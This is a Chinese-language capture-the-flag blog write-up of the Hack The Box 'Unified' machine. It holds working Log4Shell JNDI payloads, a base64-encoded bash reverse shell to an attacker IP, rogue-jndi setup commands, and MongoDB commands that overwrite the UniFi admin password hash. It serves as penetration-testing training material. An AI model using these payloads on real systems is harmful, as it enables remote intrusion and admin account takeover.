HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)

qmx_07

已于 2024-09-14 10:47:19 修改

阅读量519

点赞数 25

分类专栏：安全靶场训练营文章标签： log4j web安全网络安全 mongodb

于 2024-09-14 10:46:48 首次发布

本文链接：https://blog.csdn.net/weixin_58038441/article/details/142242375

版权

安全靶场训练营专栏收录该内容

20 篇文章 1 订阅

订阅专栏

前言

各位师傅大家好，我是qmx_07，今天给大家讲解Unified靶机

渗透过程

信息搜集

在这里插入图片描述

服务器开放了SSH服务，HTTP服务

访问网站验证log4j2漏洞

8443端口：UniFi 网络，访问查询是否有Nday漏洞利用
可以观察到UniFi的版本号:6.4.54
通过搜索引擎查询，该服务拥有CVE-2021-44228 漏洞

在这里插入图片描述

使用tcpdump工具监听网卡流量
通过修改remember字段

${jndi:ldap://10.10.16.2/o=tomcat}

在这里插入图片描述

可以看到UniFi服务器对本地服务器发起了请求，确认存在log4j2漏洞

利用log4j2漏洞，反弹会话

工具准备：

准备工具：
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y 
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi 
mvn package
rogue-jndi：开启本机ldap服务，允许接收其他服务器数据，可执行代码

生成反弹命令进行base64加解密：

echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64

在这里插入图片描述
使用命令：

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"

这段代码的意思是使用之前制作的base64 反弹代码，进行base64解密，bash加载，目标是10.10.16.2
同时要监听端口会话，等待反弹

"${jndi:ldap://10.10.16.2:1389/o=tomcat}"

通过remember字段构造命令，反弹会话

script /dev/null -c bash

监听端口，稳固会话

通过修改mongoDb数据库管理员密码，进入网站后台

查询unifi 中间件的数据库，一般默认是mongdb数据库
mongdb默认数据库为ace
数据库端口开放在 27117

mongo --port 27117 ace

指定端口号，连接mongo数据库

db.admin.find().forEach(printjson);

通过这个命令可以枚举用户信息，并且以json格式打印
通过hashid工具分析哈希值使用的加密方式
通过mkpasswd 设置哈希编码，构造新密码

db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});